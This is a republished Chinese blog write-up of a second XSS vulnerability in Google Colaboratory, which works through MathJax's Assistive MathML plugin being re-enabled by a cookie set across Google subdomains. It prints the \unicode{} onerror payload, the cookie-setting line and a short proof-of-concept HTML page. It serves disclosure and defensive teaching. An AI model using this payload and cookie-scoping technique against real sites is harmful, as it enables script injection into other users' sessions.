Google Calaboratory 的另一个 XSS 漏洞

三个月以前,我写了一篇文章来介绍我在 Google Colaboratory 上发现的一个 XSS 漏洞,这篇文章是对前文的一些扩展,并且展示了我在同一个 web 应用中发现的另一个 XSS。所以我建议先看看上一篇文章再阅读本文。

我是如何找到 Google Colaboratory 中的一个 xss 漏洞的

我们先来简单回顾一下上篇文章中我们是如何找到 Google Calaboratory 中的那个 XSS 的:

1、首先我分析了一下 Google Calaboratory 这个应用中的 XSS 漏洞

2、然后我发现这个应用使用了一个 MathJax 库来渲染 LaTex 公式

3、最后我在 MathJax 中找到了一个 XSS,其本身就是对 LaTeX 公式中的\ unicode {}指令的滥用导致了这个XSS

从技术角度来看,这个问题不应该怪罪 MathJax 本身,而是出在一个默认被激活的插件 Assitive MathML 上。在 MathJax 的作者修复这个 bug 之前,谷歌只是通过禁用插件来摆脱 XSS。这种做法从根本上消除了 XSS 的问题,不愧是一个非常机智的方法,不是么?

这种做法确实可以从根本消除 XSS 问题,除非我有办法重新启用这个插件。

这一次,我又尝试在 Google Colaboratory 寻找其他 XSS 漏洞的时候,注意到了一个有趣的行为:当我按下右键单击 MarkDown 中生成的 LaTeX 公式时,我得到一个标准的 Colaboratory 弹出菜单。但是,当我右键单击目录时,我会得到一个 MathJax 菜单!见下图:

这就证明代码中有一部分代码可以去重新打开 Assistiv MathML 插件!

当我这样做时,我前一篇文章中提到的 XSS 方法,又生效了

$ \unicode {41 <img src = 1 onerror = alert(document.domain)>} $

好了,现在的问题是,我们是否有可能为另一个用户制造 XSS 漏洞?这还需解决另一个问题:MathJax 在哪里存储有关重新启用 Assistive MathML 的信息?

找了一下,在 cookie 中找到了重新启用 Assistive MathML 的方法。注意到以下

cookie: mjx.menu = assistiveMML:true

由于 cookie 可以跨子域设置,所以这对我们寻找到XSS非常有利。四年前我在博客文章中写了另一个关于通过cookie 引发 XSS 的例子 gmail和google的两个xss老漏洞分析,所以这里直接给出攻击方案:

1、如果在 Google 其他任意的子域上存在一个我们能利用的 XSS,例如:some-random-domain.google.com

2、在该域中,我们设置了

cookie:document.cookie =“mjx.menu = assistiveMML:true; Domain = .google.com; Path = /”

3、现在,我们刚刚设置的名为mjx.menu的 cookie 会在每次请求 Google 子域时自动添加到请求中

我通过在 /etc/hosts 中定义 some-random-domain.google.com然后使用以下代码来模拟攻击:

<!doctype html>
   <meta charset= utf-8>
<button onclick= exploit()style= font-size:48px>
  设置cookie并重定向到Colaboratory!
</button>
<SCRIPT>
   function exploit() {
       const COLAB_URL="https://colab.research.google.com/notebooks/welcome.ipynb";
       document.cookie="mjx.menu = assistiveMML:true; Domain = .google.com; Path = /";
       location=COLAB_URL;
  }
</script>

以下是结果:

从这个 XSS 中我得到的最重要的结论是,在审计任何外部 JS 库时,必须特别注意其存储机制(如 cookie 或 localStorage)。对于 MathJax ,在加载库时会从 cookie 中读取配置去覆盖默认选项,这就给构造 XSS 带来了可乘之机。另一点就是 cookie 的作用域设置带来的安全问题。一个子域设置的 cookie 需要被另一个子域使用时,务必检查 cookie 中内容的安全性。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-10-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏C/C++基础

error: '[class name]' does not name a type

从命令中可以看出,我是对源文件tc_mysql.cpp进行编译。但是却始终报如下错误:

8410
来自专栏FreeBuf

初识Linux渗透:从枚举到内核利用

许多人都认为Linux是最安全的操作系统,因此在对Linux的安全问题上也放松了警惕。那么事实真的如此吗?其实安全从来都只是相对的,Linux也不例外。虽然它加...

28570
来自专栏向治洪

Freeline--Android平台上的秒级编译方案

Freeline 技术揭秘 Freeline是什么? Freeline是蚂蚁金服旗下一站式理财平台蚂蚁聚宝团队15年10月在Android平台上的量身定做的一个...

28880
来自专栏Golang语言社区

PHP调用Go服务的正确方式 - Unix Domain Sockets

作者:枕边书 链接:http://www.cnblogs.com/zhenbianshu/p/7265415.html 來源:博客园 问题 可能是由于经验太少,...

47090
来自专栏Python

一、爬虫基本原理

一 爬虫是什么 ? #1、什么是互联网? 互联网是由网络设备(网线,路由器,交换机,防火墙等等)和一台台计算机连接而成,像一张网一样。 #2、互联网建...

260100
来自专栏蘑菇先生的技术笔记

那些年我们一起追过的缓存写法(二)

28950
来自专栏汪伟的专栏

性能优化的正确方向

性能优化并不是一个孤立的课题,除了响应时间的考虑,我们往往还需要综合功能完整性、安全性等等方面的问题。

91900
来自专栏数据和云

快讯:Oracle 发布了传闻已久的 18.3 RPM 安装版本

关于 Oracle 发布数据库 RPM 安装版本的传闻已经有好几年了,今天 Oracle 终于发布了这个传说中、被期待的安装包,在 OTN 上已经可以下载 Li...

12330
来自专栏数据库新发现

快讯:Oracle 发布了传闻已久的 18.3 RPM 安装版本

关于 Oracle 发布数据库 RPM 安装版本的传闻已经有好几年了,今天 Oracle 终于发布了这个传说中、被期待的安装包,在 OTN 上已经可以下载 Li...

10840
来自专栏程序员互动联盟

【线程池】线程池与工作队列

为什么要用线程池? 诸如 Web 服务器、数据库服务器、文件服务器或邮件服务器之类的许多服务器应用程序都面向处理来自某些远程来源的大量短小的任务。请求以某种方式...

35980

扫码关注云+社区

领取腾讯云代金券